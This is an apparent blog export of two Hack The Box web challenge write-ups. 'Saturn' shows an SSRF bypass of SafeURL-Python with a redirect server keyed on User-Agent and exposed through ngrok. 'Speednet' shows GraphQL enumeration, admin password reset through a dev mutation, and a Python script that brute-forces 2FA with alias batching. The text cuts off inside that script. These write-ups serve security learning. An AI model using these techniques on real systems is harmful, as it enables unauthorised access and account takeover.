[{"content":"Challenge Info Spoiler Synopsis: find and exploit an SSRF bug through source code auditing. Saturn corp just launched their new proxy service. According to them, they have made sure their proxy service contains no security issues as they have implemented decent security measures with up to date components.\nArtifacts Provided Application source — Flask app (app.py, templates, requirements.txt), Dockerfile and supervisord.conf Live web instance — http://VICTIM-IP:PORT Analysis Reconnaissance The site is a proxy: we submit a URL and the page behind it is shown in an iframe. app.py has two routes:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @app.route(\u0026#39;/\u0026#39;, methods=[\u0026#39;GET\u0026#39;, \u0026#39;POST\u0026#39;]) def index(): if request.method == \u0026#39;POST\u0026#39;: url = request.form[\u0026#39;url\u0026#39;] try: su = safeurl.SafeURL() opt = safeurl.Options() opt.enableFollowLocation().setFollowLocationLimit(0) su.setOptions(opt) su.execute(url) except: return render_template(\u0026#39;index.html\u0026#39;, error=f\u0026#34;Malicious input detected.\u0026#34;) r = requests.get(url) return render_template(\u0026#39;index.html\u0026#39;, result=r.text) return render_template(\u0026#39;index.html\u0026#39;) @app.route(\u0026#39;/secret\u0026#39;) def secret(): if request.remote_addr == \u0026#39;127.0.0.1\u0026#39;: [...] return render_template(\u0026#39;secret.html\u0026#39;, SECRET=flag) else: return render_template(\u0026#39;forbidden.html\u0026#39;), 403 The goal is clear: make the server request /secret from itself. Two things stand out:\nThe URL is checked by SafeURL and then fetched a second time by plain requests.get(url), which validates nothing. The pinned versions are current, so there is no known-CVE route: 1 2 3 4 5 Flask==3.0.0 gunicorn==21.2.0 requests==2.31.0 SafeURL-Python==1.3 Werkzeug==3.0.1 supervisord.conf runs python3 /app/app.py, so gunicorn is not used and Flask listens directly on the app.run port, 1337:\n1 2 [program:express] command=python3 /app/app.py Tip gunicorn in requirements.txt suggests the app might be served on port 80, which would make a DNS rebinding service viable. supervisord.conf rules that out here: the app runs with app.run on 1337, and a URL without an explicit port can only reach 80. SafeURL Behaviour Reading the library source (safeurl.py, version 1.3) shows three things that decide the approach.\n1. setFollowLocationLimit(0) does not disable redirects. In execute(), a limit of 0 means unlimited, and every redirect target goes through validateUrl again:\n1 2 3 4 5 6 7 8 while True: url = Url.validateUrl(url, self._options) [...] if statuscode in [301, 302, 303, 307, 308]: redirectCount += 1 if redirectLimit == 0 or redirectCount \u0026lt; redirectLimit: url = self._handle.getinfo(pycurl.REDIRECT_URL) redirected = True A server that redirects to 127.0.0.1 is therefore caught by SafeURL itself. A static redirect (a URL shortener or a redirect service) cannot work.\n2. Ports. The default whitelist is [\u0026quot;80\u0026quot;, \u0026quot;443\u0026quot;, \u0026quot;8080\u0026quot;] (strings), and validatePort checks the integer parsed from the URL against it. A local test against SafeURL 1.3 rejected an explicit :8080 with InvalidPortException. The submitted URL must carry no port, and SafeURL\u0026rsquo;s redirect hops cannot target :1337 either.\n3. Two independent fetches. SafeURL fetches the URL with pycurl, and requests.get(url) then fetches it again. The second fetch follows redirects without any validation. Their User-Agents differ, so a server can tell them apart.\nTip Dead ends, all ruled out by the points above rather than tried against the instance: a static Location redirect (SafeURL follows and validates every hop), DNS rebinding (the instance listens on 1337, and an explicit port is rejected), and the usual SSRF payload lists (the blacklist covers 127.0.0.0/8, 10/8, 172.16/12, 192.168/16, 169.254/16 and others). Exploitation The plan: a server of ours answers SafeURL\u0026rsquo;s request with a plain 200 and answers the requests fetch with a redirect to the internal endpoint. The redirect has to include the port, http://127.0.0.1:1337/secret. That hop is not validated, because only requests follows it, and the request to /secret comes from the server itself, so remote_addr is 127.0.0.1.\nWe branch on the User-Agent header (pycurl sends PycURL/..., requests sends python-requests/...):\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask, request, redirect app = Flask(__name__) @app.route(\u0026#39;/\u0026#39;, defaults={\u0026#39;p\u0026#39;: \u0026#39;\u0026#39;}) @app.route(\u0026#39;/\u0026lt;path:p\u0026gt;\u0026#39;) def index(p): ua = request.headers.get(\u0026#39;User-Agent\u0026#39;, \u0026#39;\u0026#39;) print(request.remote_addr, ua[:40], flush=True) if ua.startswith(\u0026#39;python-requests\u0026#39;): return redirect(\u0026#39;http://127.0.0.1:1337/secret\u0026#39;, 302) return \u0026#39;ok\u0026#39; if __name__ == \u0026#39;__main__\u0026#39;: app.run(host=\u0026#39;0.0.0.0\u0026#39;, port=80) Tested first against SafeURL 1.3 locally: the server received one PycURL/... request answered with 200 and one python-requests/... request answered with 302, and the redirect reached the internal service.\nThe target has to reach our server, so we expose it with a tunnel. The tunnel URL has no explicit port, so it passes SafeURL\u0026rsquo;s port check:\n1 2 sudo python3 redir.py ngrok http 80 Submitting the https://\u0026lt;id\u0026gt;.ngrok-free.app URL in the form returns the /secret page with the flag.\nTip First attempt: a DuckDNS name pointing at our home public IP, with python -m http.server 80 behind it. curl http://panathinaikos.duckdns.org/ returned curl: (52) Empty reply from server, and http.server logged nothing, so the request never reached our server. Exposing a home connection needs a port forward on the router, and a tunnel is simpler. Tip The official solution differs in three details. It uses localtunnel instead of ngrok. It switches on a request counter (first request answered with 200, every later one redirected) instead of the User-Agent, which breaks if the instance retries or hits the server twice. And its redirect target is http://127.0.0.1/secret, because its app.py listens on port 80. Our instance\u0026rsquo;s app.py listens on 1337, so the redirect needed :1337. Spoiler 1 HTB{Expl01t1ng_ssrfs_f0r_fun} Full Chain The app is a proxy. app.py shows /secret is only served to 127.0.0.1, and the submitted URL is checked by SafeURL-Python 1.3 before a second, unchecked requests.get(url). In SafeURL, setFollowLocationLimit(0) means unlimited redirects and each hop is re-validated, so a static redirect to 127.0.0.1 is blocked. An explicit port in the URL is rejected too. The two fetches are independent and have different User-Agents (PycURL/... and python-requests/...). A Flask server of ours returns 200 to the pycurl request and a 302 to http://127.0.0.1:1337/secret to the python-requests one, exposed through an ngrok tunnel (no explicit port). Submitting the tunnel URL: SafeURL sees a harmless page, then requests follows the redirect, /secret sees 127.0.0.1, and the flag comes back in the iframe. ","permalink":"https://p4n4s.com/posts/htb/challenge/saturn/","summary":"SafeURL-Python validates the submitted URL with one request, then the app fetches it again with requests. A server that answers the two fetches differently turns a redirect into SSRF on /secret.","title":"HTB: Challenge - Saturn"},{"content":"Challenge Info Spoiler Synopsis: an easy web challenge about enumerating a GraphQL API, abusing an IDOR to find the administrator\u0026rsquo;s email address, resetting the administrator\u0026rsquo;s password through a development mutation, and getting past the 2FA rate limit with GraphQL batching. Speednet is an ISP platform. Join our bug bounty to find vulnerabilities and retrieve the hidden flag. Test using the email service at http://IP:PORT/emails/ with address test@email.htb\nArtifacts Provided Application source — none (black box) Live web instance — http://VICTIM-IP:PORT Test mailbox — http://VICTIM-IP:PORT/emails/ (test@email.htb) Analysis Reconnaissance We register an account with test@email.htb and browse the site. The requests go to /graphql. Fingerprint it first:\n1 2 3 4 5 6 7 graphw00f.py -d -f -t http://VICTIM-IP:PORT [...] [*] Checking http://VICTIM-IP:PORT/graphql [!] Found GraphQL at http://VICTIM-IP:PORT/graphql [*] Attempting to fingerprint... [x] Nothing was found :-( [*] Completed. Tip graphw00f finds the endpoint but cannot name the engine, so there is no threat-matrix page to check defaults against. It doesn\u0026rsquo;t matter here: introspection is enabled and returns the schema directly. GraphQL Introspection Types:\n1 { __schema { types { name } } } 1 {\u0026#34;data\u0026#34;:{\u0026#34;__schema\u0026#34;:{\u0026#34;types\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;PlanType\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;PlanStatus\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;InvoiceStatus\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;RegisterInput\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;ProfileInput\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Boolean\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;User\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Int\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Float\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;ForgotPasswordResponse\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;AuthResponse\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Query\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;DataPoint\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Mutation\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;Invoice\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__Schema\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__Type\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__TypeKind\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__Field\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__InputValue\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__EnumValue\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__Directive\u0026#34;},{\u0026#34;name\u0026#34;:\u0026#34;__DirectiveLocation\u0026#34;}]}}} Queries with their arguments:\n1 2 3 4 5 6 7 8 9 10 { __schema { queryType { fields { name args { name type { name kind ofType { name kind } } } } } } } 1 {\u0026#34;data\u0026#34;:{\u0026#34;__schema\u0026#34;:{\u0026#34;queryType\u0026#34;:{\u0026#34;fields\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;userProfile\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;userId\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;name\u0026#34;:null,\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;ofType\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;Int\u0026#34;,\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;}}}]},{\u0026#34;name\u0026#34;:\u0026#34;currentInvoice\u0026#34;,\u0026#34;args\u0026#34;:[]},{\u0026#34;name\u0026#34;:\u0026#34;invoiceHistory\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;limit\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;Int\u0026#34;,\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;ofType\u0026#34;:null}}]},{\u0026#34;name\u0026#34;:\u0026#34;dataUsageStats\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;days\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;Int\u0026#34;,\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;ofType\u0026#34;:null}}]}]}}}} Mutations with their arguments and return types:\n1 2 3 4 5 6 7 8 9 10 11 12 fragment T on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } { __schema { mutationType { fields { name args { name type { ...T } } type { ...T } } } } } 1 {\u0026#34;data\u0026#34;:{\u0026#34;__schema\u0026#34;:{\u0026#34;mutationType\u0026#34;:{\u0026#34;fields\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;register\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;input\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;INPUT_OBJECT\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;RegisterInput\u0026#34;,\u0026#34;ofType\u0026#34;:null}}}],\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;OBJECT\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;AuthResponse\u0026#34;,\u0026#34;ofType\u0026#34;:null}},{\u0026#34;name\u0026#34;:\u0026#34;login\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;email\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}}},{\u0026#34;name\u0026#34;:\u0026#34;password\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}}}],\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;OBJECT\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;AuthResponse\u0026#34;,\u0026#34;ofType\u0026#34;:null}},{\u0026#34;name\u0026#34;:\u0026#34;updateProfile\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;input\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;INPUT_OBJECT\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;ProfileInput\u0026#34;,\u0026#34;ofType\u0026#34;:null}}}],\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;OBJECT\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;User\u0026#34;,\u0026#34;ofType\u0026#34;:null}},{\u0026#34;name\u0026#34;:\u0026#34;forgotPassword\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;email\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}}}],\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}},{\u0026#34;name\u0026#34;:\u0026#34;devForgotPassword\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;email\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}}}],\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}},{\u0026#34;name\u0026#34;:\u0026#34;resetPassword\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;token\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}}},{\u0026#34;name\u0026#34;:\u0026#34;newPassword\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}}}],\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}},{\u0026#34;name\u0026#34;:\u0026#34;verifyTwoFactor\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;token\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}}},{\u0026#34;name\u0026#34;:\u0026#34;otp\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}}}],\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;OBJECT\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;AuthResponse\u0026#34;,\u0026#34;ofType\u0026#34;:null}},{\u0026#34;name\u0026#34;:\u0026#34;resendOTP\u0026#34;,\u0026#34;args\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;token\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;,\u0026#34;name\u0026#34;:null,\u0026#34;ofType\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;String\u0026#34;,\u0026#34;ofType\u0026#34;:null}}}],\u0026#34;type\u0026#34;:{\u0026#34;kind\u0026#34;:\u0026#34;SCALAR\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;Boolean\u0026#34;,\u0026#34;ofType\u0026#34;:null}}]}}}} forgotPassword, resetPassword and the OTP pair (verifyTwoFactor, resendOTP) all have a page in the app. devForgotPassword is the odd one out: nothing in the UI uses a \u0026ldquo;dev\u0026rdquo; variant.\nThe full standard IntrospectionQuery saved to introspection.graphql and sent with jq, then loaded in Voyager for the visual:\n1 2 jq -n --rawfile q introspection.graphql \u0026#39;{query:$q}\u0026#39; \\ | curl -s http://VICTIM-IP:PORT/graphql -H \u0026#39;Content-Type: application/json\u0026#39; -d @- \u0026gt; schema.json Account Takeover Both reset mutations take an email and return a string. For forgotPassword, an unknown address and our own address answer differently:\n1 mutation { forgotPassword(email: \u0026#34;administrator@email.htb\u0026#34;) } 1 {\u0026#34;errors\u0026#34;:[{\u0026#34;message\u0026#34;:\u0026#34;User not found\u0026#34;,\u0026#34;locations\u0026#34;:[{\u0026#34;line\u0026#34;:1,\u0026#34;column\u0026#34;:12}],\u0026#34;path\u0026#34;:[\u0026#34;forgotPassword\u0026#34;],\u0026#34;extensions\u0026#34;:{\u0026#34;code\u0026#34;:\u0026#34;BAD_USER_INPUT\u0026#34;}}],\u0026#34;data\u0026#34;:{\u0026#34;forgotPassword\u0026#34;:null}} 1 mutation { forgotPassword(email: \u0026#34;test@email.htb\u0026#34;) } 1 {\u0026#34;data\u0026#34;:{\u0026#34;forgotPassword\u0026#34;:\u0026#34;Password reset instructions have been sent to your email\u0026#34;}} That is a user enumeration oracle. The token of the normal flow only arrives in the mailbox, which we only have for test@email.htb. devForgotPassword returns the token inline:\n1 mutation { devForgotPassword(email: \u0026#34;test@email.htb\u0026#34;) } 1 {\u0026#34;data\u0026#34;:{\u0026#34;devForgotPassword\u0026#34;:\u0026#34;Dev only! Password reset token: adaeabc3-8660-4857-9257-c58f83708542\u0026#34;}} Both tokens work with resetPassword, on our own account:\n1 mutation { resetPassword(token: \u0026#34;15d86827-2d93-45c4-91f6-db03d648882b\u0026#34;, newPassword: \u0026#34;hacker123\u0026#34;) } 1 {\u0026#34;data\u0026#34;:{\u0026#34;resetPassword\u0026#34;:\u0026#34;Password has been reset successfully\u0026#34;}} To use this on another account we need its email address. The platform\u0026rsquo;s domain is speednet.htb (the welcome email in the mailbox comes from noreply@speednet.htb), so we fuzz the local part against the oracle and filter out the not-found answer:\n1 2 3 4 5 6 7 8 9 10 11 12 ffuf -w /usr/share/seclists/Usernames/mssql-usernames-nansh0u-guardicore.txt -u \u0026#39;http://VICTIM-IP:PORT/graphql\u0026#39; -X POST -H \u0026#34;Content-Type: application/json\u0026#34; -H \u0026#34;User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36\u0026#34; -d \u0026#39;{\u0026#34;query\u0026#34;:\u0026#34;mutation { forgotPassword(email: \\\u0026#34;FUZZ@speednet.htb\\\u0026#34;) }\u0026#34;}\u0026#39; -fr \u0026#39;User not found\u0026#39; :: Method : POST :: URL : http://VICTIM-IP:PORT/graphql :: Wordlist : FUZZ: /usr/share/seclists/Usernames/mssql-usernames-nansh0u-guardicore.txt :: Header : Content-Type: application/json :: Data : {\u0026#34;query\u0026#34;:\u0026#34;mutation { forgotPassword(email: \\\u0026#34;FUZZ@speednet.htb\\\u0026#34;) }\u0026#34;} :: Filter : Regexp: User not found ________________________________________________ admin [Status: 200, Size: 87, Words: 9, Lines: 2, Duration: 159ms] :: Progress: [10/10] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 :: Tip The official solution finds the admin address differently. The app calls userProfile(userId: Int!) for the logged-in user (userId 2 for the account we registered). Changing it to 1 returns the admin\u0026rsquo;s profile, email included: an IDOR. We never needed it, because the forgotPassword error difference leaks which addresses exist. Both routes end at admin@speednet.htb. Now devForgotPassword for the admin, then resetPassword with the returned token:\n1 mutation { devForgotPassword(email: \u0026#34;admin@speednet.htb\u0026#34;) } 1 {\u0026#34;data\u0026#34;:{\u0026#34;devForgotPassword\u0026#34;:\u0026#34;Dev only! Password reset token: 49ab0cb8-8bae-4308-823f-e7bb79a407a5\u0026#34;}} 1 mutation { resetPassword(token: \u0026#34;49ab0cb8-8bae-4308-823f-e7bb79a407a5\u0026#34;, newPassword: \u0026#34;hacker123\u0026#34;) } 1 {\u0026#34;data\u0026#34;:{\u0026#34;resetPassword\u0026#34;:\u0026#34;Password has been reset successfully\u0026#34;}} Logging in as the admin does not return a session. It stops at 2FA, and the token for the next step comes back inside the error message:\n1 2 3 4 5 6 7 8 9 10 11 mutation Login($email: String!, $password: String!) { login(email: $email, password: $password) { token user { id email firstName lastName } } } 1 {\u0026#34;email\u0026#34;:\u0026#34;admin@speednet.htb\u0026#34;,\u0026#34;password\u0026#34;:\u0026#34;hacker123\u0026#34;} 1 {\u0026#34;errors\u0026#34;:[{\u0026#34;message\u0026#34;:\u0026#34;2FA_REQUIRED:d4618153-3671-4107-902a-6d14eb4b7f2e\u0026#34;,\u0026#34;locations\u0026#34;:[{\u0026#34;line\u0026#34;:3,\u0026#34;column\u0026#34;:7}],\u0026#34;path\u0026#34;:[\u0026#34;login\u0026#34;],\u0026#34;extensions\u0026#34;:{\u0026#34;code\u0026#34;:\u0026#34;UNAUTHENTICATED\u0026#34;}}],\u0026#34;data\u0026#34;:{\u0026#34;login\u0026#34;:null}} 2FA Brute Force The OTP is mailed to the admin, whose mailbox we cannot read. verifyTwoFactor returns an object (AuthResponse), so it needs a selection set:\n1 mutation { verifyTwoFactor(token: \u0026#34;d4618153-3671-4107-902a-6d14eb4b7f2e\u0026#34;, otp:\u0026#34;4531\u0026#34;) } 1 {\u0026#34;errors\u0026#34;:[{\u0026#34;message\u0026#34;:\u0026#34;Field \\\u0026#34;verifyTwoFactor\\\u0026#34; of type \\\u0026#34;AuthResponse\\\u0026#34; must have a selection of subfields. Did you mean \\\u0026#34;verifyTwoFactor { ... }\\\u0026#34;?\u0026#34;,\u0026#34;extensions\u0026#34;:{\u0026#34;code\u0026#34;:\u0026#34;GRAPHQL_VALIDATION_FAILED\u0026#34;}}]} 1 { __type(name: \u0026#34;AuthResponse\u0026#34;) { name fields { name type { name kind } } } } 1 {\u0026#34;data\u0026#34;:{\u0026#34;__type\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;AuthResponse\u0026#34;,\u0026#34;fields\u0026#34;:[{\u0026#34;name\u0026#34;:\u0026#34;token\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;name\u0026#34;:null,\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;}},{\u0026#34;name\u0026#34;:\u0026#34;user\u0026#34;,\u0026#34;type\u0026#34;:{\u0026#34;name\u0026#34;:null,\u0026#34;kind\u0026#34;:\u0026#34;NON_NULL\u0026#34;}}]}}} 1 2 3 4 5 6 7 8 9 mutation { verifyTwoFactor(token: \u0026#34;d4618153-3671-4107-902a-6d14eb4b7f2e\u0026#34;, otp:\u0026#34;4531\u0026#34;) { token user { id email } } } 1 {\u0026#34;errors\u0026#34;:[{\u0026#34;message\u0026#34;:\u0026#34;Invalid or expired OTP\u0026#34;,\u0026#34;locations\u0026#34;:[{\u0026#34;line\u0026#34;:1,\u0026#34;column\u0026#34;:12}],\u0026#34;path\u0026#34;:[\u0026#34;verifyTwoFactor\u0026#34;],\u0026#34;extensions\u0026#34;:{\u0026#34;code\u0026#34;:\u0026#34;UNAUTHENTICATED\u0026#34;}}],\u0026#34;data\u0026#34;:{\u0026#34;verifyTwoFactor\u0026#34;:null}} How long is the OTP? We enabled 2FA on our own account through updateProfile and ran the flow there, since we control that mailbox (test@email.htb):\nFour digits: 10000 candidates.\nTip First attempt: one verifyTwoFactor per request with ffuf. nginx answers with 429 once the request rate is too high, and ffuf does not retry, so every 429 is a candidate that was never tested. The official writeup measured the limit at about 40 requests per minute, and the mailed code expires after 5 minutes, so one request per guess covers only a fraction of the 10000 candidates before the code is gone. The rate limit counts HTTP requests, so we pack many guesses into one request with GraphQL alias batching: one operation, many aliased verifyTwoFactor calls. The script sends batches of aliases, retries a batch after a 429 instead of skipping it, and stops at the first alias that returns a non-null result.\notf-bf.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;OTP brute force over GraphQL alias batching. One HTTP request carries STEP aliased verifyTwoFactor calls. A 429 is retried (same batch, honours Retry-After), so no candidate is skipped. Usage: python3 otp_bf.py http://VICTIM/graphql TOKEN python3 otp_bf.py http://VICTIM/graphql TOKEN --start 0 --end 10000 --step 500 --delay 1 \u0026#34;\u0026#34;\u0026#34; import argparse import json import sys import time import urllib.error import urllib.request ap = argparse.ArgumentParser() ap.add_argument(\u0026#34;url\u0026#34;) ap.add_argument(\u0026#34;token\u0026#34;) ap.add_argument(\u0026#34;--digits\u0026#34;, type=int, default=4) ap.add_argument(\u0026#34;--start\u0026#34;, type=int, default=0) ap.add_argument(\u0026#34;--end\u0026#34;, type=int, default=10000, help=\u0026#34;exclusive\u0026#34;) ap.add_argument(\u0026#34;--step\u0026#34;, type=int, default=500, help=\u0026#34;OTPs per request\u0026#34;) ap.add_argument(\u0026#34;--delay\u0026#34;, type=float, default=1.0, help=\u0026#34;seconds between batches\u0026#34;) ap.add_argument(\u0026#34;--selection\u0026#34;, default=\u0026#34;{ token user { id email } }\u0026#34;, help=\u0026#34;selection set of verifyTwoFactor\u0026#34;) a = ap.parse_args() def build(lo, hi): ops = \u0026#34; \u0026#34;.join( \u0026#39;a%d: verifyTwoFactor(token: \u0026#34;%s\u0026#34;, otp: \u0026#34;%s\u0026#34;) %s\u0026#39; % (i, a.token, str(i).zfill(a.digits), a.selection) for i in range(lo, hi) ) return json.dumps({\u0026#34;query\u0026#34;: \u0026#34;mutation { \u0026#34; + ops + \u0026#34; }\u0026#34;}).encode() def send(body): backoff = 2.0 while True: req = urllib.request.Request( a.url, data=body, headers={\u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;} ) try: with urllib.request.urlopen(req, timeout=120) as r: return json.load(r) except urllib.error.HTTPError as e: if e.code != 429: print(\u0026#34;HTTP %d: %s\u0026#34; % (e.code, e.read()[:300]), file=sys.stderr) sys.exit(1) try: wait = float(e.headers.get(\u0026#34;Retry-After\u0026#34;)) except (TypeError, ValueError): wait = backoff backoff = min(backoff * 2, 60) print(\u0026#34; 429, waiting %.1fs and retrying the same batch\u0026#34; % wait) time.sleep(wait) warned = False for lo in range(a.start, a.end, a.step): hi = min(lo + a.step, a.end) print(\u0026#34;batch %0*d-%0*d\u0026#34; % (a.digits, lo, a.digits, hi - 1)) res = send(build(lo, hi)) data = res.get(\u0026#34;data\u0026#34;) if data is None: # A non-null return type makes one failed alias null the whole data object, # which would hide a correct OTP in this batch. if not warned: print(\u0026#34; data is null: %s\u0026#34; % json.dumps(res.get(\u0026#34;errors\u0026#34;))[:300]) print(\u0026#34; If verifyTwoFactor returns a NON_NULL type, a hit would be hidden. 